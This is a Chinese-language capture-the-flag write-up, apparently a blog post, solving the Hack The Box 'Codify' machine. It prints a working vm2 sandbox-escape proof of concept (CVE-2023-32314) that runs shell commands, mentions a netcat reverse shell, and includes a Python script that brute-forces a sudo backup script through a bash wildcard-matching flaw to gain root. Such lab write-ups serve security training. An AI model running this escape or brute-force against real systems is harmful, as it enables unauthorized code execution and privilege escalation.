Hack The Box-Codify

Codify

端口扫描

在这里插入图片描述

端口利用

访问80端口

在这里插入图片描述

在这里插入图片描述

发现是一个测试Node.js代码的网页,并且用的是vm2沙盒,点击Try it now

在这里插入图片描述

漏洞利用

既然确定了是vm2搭建的沙盒,寻找vm2相关的漏洞

在这里插入图片描述

存在CVE-2023-32314

执行POC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("id").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

在这里插入图片描述

id命令成功执行,改为反弹shell

在这里插入图片描述

发现没有-e参数,尝试改为使用nc mkfifo

在这里插入图片描述
在这里插入图片描述

成功拿到shell

权限提升

经过测试,发现当前用户sudo和suid均没有可以利用的点,想到该网站还有http服务,进入/var/www/目录查看,发现存在contact文件夹,其中有tickets.db文件

在这里插入图片描述

发现存放的是joshua用户和其加密后的密码,将密码解密

在这里插入图片描述

使用joshua账户登录ssh

登陆后查看可以使用的权限

在这里插入图片描述

发现能够执行/opt/scripts/mysql-backup.sh,查看该脚本内容

在这里插入图片描述

脚本的这一部分将用户提供的密码 (USER_PASS) 与实际的数据库密码 (DB_PASS) 进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。

例如,如果实际密码 (DB_PASS) 是 password,但是用户输入 * 作为其密码 (USER_PASS),则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。

编写一段python脚本跑密码

# test.py 
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

这一段代码首先假设密码为空,接着一个个跟大小写字母和数字,并在最后加上通配符 * ,以此作为用户的输入,与数据库密码做比较,假设密码为XSW@zaq1,则当character为X时,用户输入为X*,与密码匹配,将X加入到密码中,以此类推,直到与密码相同为止

在这里插入图片描述

爆破出密码后,切换到root用户

在这里插入图片描述

提权成功

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值